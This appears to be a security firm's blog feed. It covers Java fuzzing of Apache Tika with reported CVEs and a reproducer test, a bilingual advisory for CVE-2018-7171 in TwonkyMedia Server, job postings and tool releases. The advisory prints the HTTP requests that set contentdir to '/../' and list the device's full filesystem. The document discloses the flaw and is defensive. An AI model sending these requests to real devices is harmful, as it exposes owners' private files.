Fast forward several days later, I stumbled over the Apache Tika project. As Apache Tika was formerly part of Apache Lucene, I was convinced that a lot of servers on the Internet would allow users to upload arbitrary files to be parsed by Apache Tika. As I'm currently maintaining another related research about web based file upload functionalities (UploadScanner Burp extension) this got me even more interested.

Apache Tika is a content analysis toolkit and can extract text content from over a thousand different file formats. A quick'n'dirty grep-estimate turned out that it has about 247 Java JAR files as dependencies at compile time. Apache Tika also had some severe security issues in the past. So as a test target Apache Tika seemed to fit perfectly. On the other hand I also knew that using such a big code base is a bad idea when fuzzing with AFL. AFL will more or less quickly deplete the fuzzing bitmap when the instrumented code is too large. Afterwards, AFL will be unable to detect when an input results in an interesting code path being taken. I was also not sure if I could successfully use the Java fuzzers to instrument the huge Apache Tika project. However, I decided to go on with this experiment.

I first tried to get things running with Kelinci, but ran into multiple issues and ended up creating a "works-for-me" Kelinci fork. After Kelinci was running, I also tried to get the JQF fuzzer running, however, I ran into similar but distinct problems and therefore decided to stick with Kelinci at this point. For Tika I had to adopt the Java Security Manager Policy:

grant {
    //Permissions required by Kelinci
    permission java.lang.RuntimePermission "modifyThread";
    
    permission java.net.SocketPermission "localhost:7007", "listen, resolve";
    permission java.net.SocketPermission "localhost:7008", "listen, resolve";
    permission java.net.SocketPermission "localhost:7009", "listen, resolve";
    permission java.net.SocketPermission "localhost:7010", "listen, resolve";
    permission java.net.SocketPermission "[0:0:0:0:0:0:0:1]:*", "accept, resolve";
    
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "corpus/*", "read, write";
    permission java.io.FilePermission "crashes/*", "read";
    permission java.io.FilePermission "out_dir/*", "read, write";
    
    //Permissions required by Tika
    permission java.io.FilePermission "tika-app-1.17.jar", "read";
    permission java.io.FilePermission "tika-app-1.17-instrumented.jar", "read";

    permission java.io.FilePermission "/tmp/*", "read, write, delete";
    
    permission java.lang.RuntimePermission "getenv.TIKA_CONFIG";
    
    permission java.util.PropertyPermission "org.apache.tika.service.error.warn", "read";
    permission java.util.PropertyPermission "tika.config", "read";
    permission java.util.PropertyPermission "tika.custom-mimetypes", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.pdfparser.nonSequentialPDFParser.eofLookupRange", "read";
    permission java.util.PropertyPermission "org.apache.pdfbox.forceParsing", "read";
    permission java.util.PropertyPermission "pdfbox.fontcache", "read";
    permission java.util.PropertyPermission "file.encoding", "read";

    //When parsing certain PDFs...
    permission java.util.PropertyPermission "user.home", "read";
    permission java.util.PropertyPermission "com.ctc.wstx.returnNullForDefaultNamespace", "read";
    
    //When parsing certain .mdb files...
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.resourcePath", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.brokenNio", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.charset.VERSION_3", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.columnOrder", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.enforceForeignKeys", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.allowAutoNumberInsert", "read";
    permission java.util.PropertyPermission "com.healthmarketscience.jackcess.timeZone", "read";
};

To produce this policy file manually was much more annoying than for Apache Commons. The reason is that the necessary permissions we need to whitelist depend on the input file. So if a PNG file is fed into Apache Tika, it will need other runtime property permissions than if a PDF file is fed into Apache Tika. This means that we have to do a dry run first that will go through the entire input corpus of files and run them once with the minimum policy file. If a security exception occurs, it might be necessary to whitelist another permission. This process takes a lot of time. However, as an article from 2004 states:

There's currently no tool available to automatically generate a [Java security] policy file for specific code.
So that's why I wrote another quick'n'dirty hack/tool to generate Java security policy files. As it's not a beauty I gave it the ugly name TMSJSPGE on github. However, it does it's job and generates a Java security policy file. It will feed each corpus file to the target process (Tika in this case) and add a new rule to the security policy.

If you look at the above property permissions, I'm still not sure what they are all doing. However, I just decided I'll go with them and allow Tika to use them.

If you run your fuzzer with different input files, you might be required to adopt the Java Security policy, as other code paths might require new permissions. So the above security policy for Apache Tika is likely to be incomplete.

Apache Tika findings

As already explained, a good input corpus is vital for a successful fuzzing run. Additionally, I had to run Tika with as many files as possible to make sure the Java Security Policy covered most permissions necessary. Over the years I've collected many input sample files (around 100'000) by doing fuzzing runs with various libraries and by collecting third-party files (that's actually a topic for another day). So I decided I will run the TMSJSPGE tool with each of these 100'000 files to create the best Security Policy I can. When I checked back on the TMSJSPGE I saw that the tool was stuck feeding a certain file to Apache Tika. This means that Apache Tika never returned a result and the process hung. And that meant I already found security issues in Apache Tika 1.17 before I even started fuzzing. After removing the file that resulted in a hang and restarting TMSJSPGE, Apache Tika hung with several other files as well. Some of the files triggered the same hang and after deduplicating, the following two security issues were reported to Apache Tika:

I was wondering where these input files I had in my collection were coming from. Several BPG files triggering the issue were from a fuzzing run I once did for libbpg, so they were produced by AFL when creating BPG files for a native library. But the chm file triggering the other issue was a file that I downloaded a long time ago from the fuzzing project. It was a file Hanno Böck provided that came out of a fuzzing run for CHMLib. Interesting.

So here I was and had already found an uncaught exception in Apache Commons and two low severity issues in Apache Tika without even starting to do proper fuzzing.

To get an idea of the Java classes causing the issue I ran Apache Tika with a debugger and the triggering file, stopped the execution during the infinite loop and printed a stack trace. But most of the hard work to figure out the actual root causes of these issues was done by the maintainers, most importantly by Tim Allison and the Apache Tika team. That is also true for all the upcoming issues.

Fuzzing Apache Tika with Kelinci

After sorting out the input files that resulted in a hang, I started a couple of afl-fuzz fuzzing instances and waited. The behavior of the Kelinci fuzzer is sometimes a little brittle, so I often got the "Queue full" error message. It means the fuzzer is not running properly anymore and that timeouts will occur. I had to restart the fuzzing instances several times and tried to tweak the command line settings to improve stability. However, over time the instances often managed to fill up the queue again. Anyway, a couple of instances ran fine and found several "AFL crashes". Keep in mind that "AFL crashes" in this case just mean uncaught Java exceptions. After looking through and deduplicating issues, I reported the following non-security (or very low severity, a matter of definition) issues to the maintainers of the libraries used by Apache Tika:

The hang directory of AFL did not show any interesting results. After running each of the files in the hang directory with Apache Tika I found a PDF file that took nearly a minute to process, but none of the files lead to a full hang of the Tika thread. I suspect that the synchronization of the two processes was one of the reasons no infinite hangs were found by the fuzzer.

However, at this stage I was most disappointed that none of the crashes indicated that anything outside of the specified Java Security Manager policy was triggered. I guess this was a combination of my brittle configuration of Kelinci and the fact that it is probably not as easy to find arbitrary file read or write issues. But in the end you often simply don't know what's exactly the reason for not being successful with fuzzing.

JQF and a bug in Java

At one point I also wanted to try the JQF fuzzer on my ARM fuzzing machines with Apache Tika. It didn't work for me at first and I found out that OpenJDK on ARM had horrible performance with JQF, so I switched to Oracle's Java. Additionally, Apache Tika would simply not run with JQF. After the Tika 1.17 issues were fixed in Apache Tika I thought it was time to notify the maintainers of the fuzzers, so they could try to fuzz Apache Tika themselves. Rohan (maintainer of JQF) quickly fixed three independent issues and implemented a test case/benchmark for the fixed Tika 1.18 in JQF. After that I was able to fuzz Tika with my own corpus, but the performance was very bad for various reasons. One reason was the weak ARM boxes, but JQF couldn't handle timeouts either (AFL's -t switch). Rohan attempted a fix, but it's only working sometimes. Rohan was also very quick to implement afl-cmin and said running with a Java Security Manager policy should be no problem. However, I couldn't try those features properly due to the performance problems on the ARM machines. As I was not in the mood to switch fuzzing boxes, I just tried to get the fuzzer running somehow. After cutting down the input corpus and removing all PDF files that were taking potentially longer to be processed by Apache Tika, the fuzzer crept slowly forward. After not paying attention for 10 days, another hang was found by JQF in Apache Tika 1.18... I thought! However, after submitting this bug to Apache Tika, they pointed out that this was actually a bug in the Java standard libraries affecting Java before version 10 that I rediscovered:

  • Endless loop in RiffReader (file 10_hang.riff), where the code simply never returned. Unfortunately Java/Oracle never assigned a CVE for this. So Tim Allison from Apache Tika asked them to assign one, after 3 months and an endless stream of status update emails with no content we are still waiting for a CVE number. As this is not fixed in Java 8, Tim Allison also mitigated it on the Apache Tika side.

The hang file was created by the JQF fuzzer by modifying a sample QCP file "fart_3.qcp" from the public ffmpeg samples. So without actively targeting Java itself, I had rediscovered a bug in Java's standard libraries, as Tika used it. Quite an interesting twist.

Adding a x86 fuzzing box

At the same time I also realized that these ARM JQF fuzzer instances were stuck. The endless RIFF loop file was detected as a crash (which might just be bad behavior of JQF for hangs), so I didn't really know the reason why they were stuck currently. I tried to run the current input file on another machine, but the testcase didn't hang. So I didn't figure out why the fuzzer got stuck, but as Rohan pointed out the timeout handling (AFL's "hangs") isn't optimal yet. JQF will detect timeouts when the infinite loop hits instrumented part of the Java code, as it will be able to measure the time that passed. However, JQF will hang for now if a test file makes the code loop forever in non-instrumented code. I removed all RIFF/QCP input files so hopefully I wouldn't rediscover the RIFF endless loop bug again (I never switched to Java 10) and restarted the fuzzing instances.

I decided to additionally use a 32bit x86 VMWare fuzzing box, maybe it would run more stable there. I setup JQF with Java 8 again and without RIFF files as inputs. The x86 virtual machine performed much better, executing around 10 testcases per second. So I let these instances run for several days... just to realize when I came back that both instances got stuck after 7 hours of running. I checked again if the current input file could be the reason and this time this was exactly the problem, so another bug. Rinse and repeat, the next morning another bug. So after a while (at least 5 iterations) I had a bag full of bugs:

  • An endless loop in Junrar (file 11_hang_junrar_zero_header2.rar), where the code simply never returned when the rar header size is zero. I contacted one of the maintainers, beothorn. It was fixed and this issue ended up as CVE-2018-12418.
  • Infinite loop in Apache Tika's IptcAnpaParser for handling IPTC metadata (file 12_hang_tika_iptc.iptc), where the code simply never returned. This was fixed and assigned CVE-2018-8017.
  • Infinite loop in Apache PDFbox' AdobeFontMetricsParser (file 16_570s_fontbox_OOM.afm), after nearly 10 minutes (on my machine) leading to an out of memory situation. This was fixed and assigned CVE-2018-8036.
  • An issue when a specially crafted zip content is read with Apache Commons Compress (file 14_69s_tagsoup_HTMLScanner_oom.zip) that leads to an out of memory exception. This was fixed in Apache Commons Compress and CVE-2018-11771 was assigned. Another zip file created (file 15_680s_commons_IOE_push_back_buffer_full.zip) runs for 11 minutes (on my machine) leading to IOException with a message that the push back buffer is full and is probably related to the issue. Also probably the same issue is a file where Tika takes an arbitrary amount of time (during the tests between 20 seconds and 11 minutes) to process a zip file (file 13_48s_commons_truncated_zip_entry3.zip). This last one is worth a note as JQF correctly detected this as a hang and put it in AFL's hang directory. The underlying problem of CVE-2018-11771 was that a read operation started to return alternating values of -1 and 345 when called by an InputStreamReader with UTF-16. The minimal code to reproduce is:
@Test
public void testMarkResetLoop() throws Exception {
    InputStream is = Files.newInputStream(Paths.get("C:/14_69s_tagsoup_HTMLScanner_oom.zip"));
    ZipArchiveInputStream archive = new ZipArchiveInputStream(is);
    ZipArchiveEntry entry = archive.getNextZipEntry();
    while (entry != null) {
        if (entry.getName().contains("one*line-with-eol.txt")) {
            Reader r = new InputStreamReader(archive, StandardCharsets.UTF_16LE);
            int i = r.read();
            int cnt = 0;
            while (i != -1) {
                if (cnt++ > 100000) {
                    throw new RuntimeException("Infinite loop detected...");
                }
                i = r.read();
            }
        }
        entry = archive.getNextZipEntry();
    }
}

After all these fixes I ran the fuzzer again on a nightly build of Apache Tika 1.19 and it didn't find any new issues in more than 10 days. So my approach of fuzzing Tika seems to be exhausted. As always, it doesn't mean another approach wouldn't find new issues.

Summary

This is where I stopped my journey of Java fuzzing for now. I was a little disappointed that the approach with the Java Security Manager still did not find any security issues such as SSRF and that I only found ressource management issues. However, I'm pretty sure this strategy is still the way to go, it probably just needs other targets. As you can see there are loose ends everywhere and I'm definitely planning to go back to Java fuzzing:

  • Use Kelinci/JQF with other Apache Commons parsers, e.g. for PNG
  • Write sanitizers such as file or socket opening for native code AFL
  • Contribute to the AFL-based Java fuzzers

However, for now there are other things to break on my stack.

I would like to thank Tim Allison of the Apache Tika project, it was a pleasure to do coordinated disclosure with him. And also a big thanks to Rohan Padhye who was really quick implementing new features in JQF.

Make sure you add the files included on https://github.com/modzero/mod0javaFuzzingResults to your input corpus collection, as we saw it's worth having a collection of crashes for other libraries when targeting new libraries.


Posted by Tobias Ospelt | Permanent link

2018-06-06

[EN] Sharing Is Caring - A CVE-2018-7171 Round-up

Eine Deutsche Version befindet sich hier – German version is located right here

When your NAS shares the pictures of your vacation with the Internet

This blog post describes the vulnerability CVE-2018-7171 in TwonkyMedia Server version 7.0.11-8.5, which is e.g. installed on WD MyCloud devices. The vulnerability allows the listing of all files stored on the device, which is running the TwonkyMedia Server. Furthermore, an attacker who takes advantage of the vulnerability can download all media files e.g. pictures, videos and music that are stored on the device and on connected USB drives. The root cause of the vulnerability is the missing authorization and input validation of configuration parameters in the Twonky Media Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Extract TwonkyMedia Server

According to the distributors statement, TwonkyMedia Server will index and play media files. The indexed files can be "streamed" to other connected network devices, this means other network devices can download and play these files.

TwonkyMedia Server is pre-installed on many devices. Furthermore, a lot of routers automatically forward the DLNA-media streaming port, in this case port 9000, therefore that port is accessible via the internet. Researches on shodan.io showed, that in January 2018 around 24'000 TwonkyMedia Server-Instances were public accessible where. Only around three percent of these installations were password protected against unauthenticated access.

The following extract shows devices, that were running TwonkyMedia Server:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

To better understand how the TwonkyMedia Server works, the traffic was intercepted with Burp Suite. The researcher discovered, that not only directory names, but also file names were returned in the server’s responses, but they were not shown in the UI.

The following HTTP-sequence shows such a request and the response of the TwonkyMedia Server.

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

The example shows, that the TwonkyMedia Server only responded with the shared folder structure, that was defined in the NAS. Furthermore, the download of all media files indexed in these directories is possible (see TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

A HTTP request on the following URL returns all configurable parameters for TwonkyMedia Server:

This list contains some parameters that are not configurable by the TwonkyMedia Server UI. What happens if we try to manipulate them anyway?

If you set the parameter contentdir to "/../" you can discover the whole file systems content.

HTTP request:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

The following example shows the response after the contentdir parameter patch:

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

After patching the contentdir parameter, you can go to TwonkyMedia Server configuration, here you can choose every folder available on the filesystem for indexing the media files. Once the media files are indexed (can be triggered manually, or just wait a couple of minutes) you can download the content.

For patching the contentdir parameter and filesystem discovery this Proof-of-Concept can be used. The repository also contains a batch download script

If an attacker takes advantage of this vulnerability he/she can not only dig deep into the privacy of his target but may also use this vulnerability to mount further attacks on the target system. For example, this information can be used to attack and maybe take over the device via other services, e.g. webservers.

If your device is running TwonkyMedia Server version 7.0.11-8.5, you should consider your media content as no longer private. You can easily check if your device is running the service by browsing the following URL in your favorite web browser http://deviceIP:9000/. Since TwonkyMedia Server sometimes use other ports than 9000 here is a list of other discovered ports: 9000, 9001, 9002, 9003, 9004 and 9005. Sometimes the TwonkyMedia Server installation uses HTTPS, so you have to set the protocol to https, e.g. https://deviceIP:9002. You may want to check if your TwonkyMedia Server is exposed in the Internet, you can easily find your public ip by browsing http://ipinfo.io/ip. Replace deviceIP from the previous example with your public IP.

modzero recommends protecting TwonkyMedia Server installation with a password, or to switch of DLNA-media streaming if you don't need this feature. For detailed information on how to switch of DLNA-media streaming please contact the device manufacturer.


Posted by Sven Fassbender | Permanent link | File under: security, software, advisory

2018-06-04

Sharing Is Caring - Ein CVE-2018-7171 Round-up

Eine Englische Version befindet sich hier – English version is located right here

Wenn die Festplatte im Heimnetz die Urlaubsbilder mit dem Internet teilt

Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server

Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.

Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.

Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.

Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:

Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?

Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:

HTTP Anfrage:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.

Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.

Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.

Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.

modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.


Posted by Sven Fassbender | Permanent link

2018-03-20

Uncle Kerckhoffs wants YOU!

You're a hacker from the bottom of your heart? You don't mind moving to Berlin or Zurich? We'd like to have a chat with you!

We're currently looking for talented hackers to extend our teams in Berlin and Zurich/Winterthur.

IT-Security Analyst - Generalist with focus on certain in-depth areas

You already have experience, working as IT Security Consultant or managing product security in soft- and hardware manufacturing companies. In addition to a broad knowledge in general IT-security related areas, you also have the vision to deepen your knowledge on specific topics.

The most important skills that are required are the following:

  • Penetration Testing — you know the tools that assists with all sorts of penetration tests, and you know how to read its resulting output.
  • Threat-Modeling and Risk-Assessments — the skill to prepare your tools and targets in a structured manner.
  • Creativity — the skill to spot that thing, that turns an objective into something broken.
  • Reporting — Explain, write and defend your findings. The skill to push the business-value of your other skills. You must be able to perform proper reporting in English or German language.
  • Passion — your personal security deep-dive: a technology or methodology you're focusing on.

In addition to these must-have skills, the following are nice to have:

  • Reverse Engineering — the art of illuminating the dark corners of binary code & data, communication protocols and hardware-solutions.
  • Source Code Assessments in C, C++, C#, Java, Swift, Objective-C, JavaScript.
  • Cryptography — it's definitely a super-bonus, if your eyebrow raises when you hear people saying the product is secure because of cryptography. You know how to spot and exploit potential side-channels, and how to properly use certain cryptographic algorithms.

Junior Hacker

If you don't have the business experience of a consultant, we may want you to extend our team as a Junior Security Consultant. If you bring the necessary skills, we may close the gaps, supporting you with specializing on certain areas in the IT security industry.

What do you need?

  • Passion — You bring the vision and we'll help you, turning it into a professional service.
  • Creativity — What could possibly go wrong? You have the idea, already.
  • Patience — Breaking the unbreakable stuff. Your tenacity is the door-opener to the wonderful world of destruction.

... and of course, quite some technological background.

Your tasks

  • Black-/White-/Gray-Box Penetration Tests of networks, services and solutions.
  • Review of software and hardware components in source-code and/or binary form.
  • Threat Analysis along with the individual business-model of our clients.
  • Review of white-papers, architectural- and design-specs and continuous support during the whole Product Development Lifecycle processes.

Our tasks

modzero provides IT security consulting to customers from different civil sections and industries. We reject working on offensive and defensive technologies with military, intelligence, or police investigation. We discuss all governmental inquiries with our colleagues.

This is what we will take care of:

  • You work with a great and open-minded team in Switzerland and Germany.
  • Your time: If you want to work part-time, talk to us.
  • Research — we support your project and your development with research-time.
  • Insights into a broad range of interesting, different industries and technologies.
  • Regular internal company meetups with workshop-program and good food.
  • Salary — we pay for your skills and execute regular, individual interviews on development and expectation of employees.

Application

Please send your application to jobs [at] modzero [dot] ch. Use PGP to sign and encrypt your documents — Find our PGP key right here: https://www.modzero.ch/pgp/jobs_modzero.ch.asc If you'd rather work as a freelancing hired gun, let us know why and don't hesitate to send your resume.


Posted by modzero | Permanent link | File under: modzero, staff

2018-02-14

Release of some security tools

At modzero we do a lot of security testing and, on a regular basis, we write tools to do our work more efficiently. This week Jan Girlich and Tobias Ospelt of modzero took some time to review some of their tools and make three of them available to the public on GitHub.

Jan wrote a Proof of Concept (PoC) Android app that allows exploiting Java object deserialization vulnerabilities in Android and named this project modjoda (modzero Java Object Deserialization on Android). To test the issue, he also wrote a vulnerable demo application to try the exploit on.

mod0schubser was written by Tobias and provides a simple TCP- and TLS-level Man-In-The-Middle (MITM) proxy for people with Python experience. It can be used when all the other proxy tools seem to be too complicated. Additionally, he wrote mod0cookiedealer, a tool to demonstrate the impact of missing HTTP cookie flags (secure and HTTPonly). If you remember Firesheep, mod0cookiedealer is simply a modern implementation of Firesheep as a browser web-extension.


Posted by Jan Girlich, Tobias Ospelt | Permanent link | File under: mobile, security, opensource, software, github

2017-05-16

[EN] Update: Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version is located right here

On May 11th, we published information about a questionable function in an HP audio driver package. This function included a keylogger that has been implemented unintentionally by 3rd party vendor Conexant and was delivered by HP to its customers. In the meantime, HP has fixed the issue.

On the same day of our initial release, HP has released a new driver package. However, we were not as fast with checking the provided patches, but finally we had a quick look on the patches on May 13th.

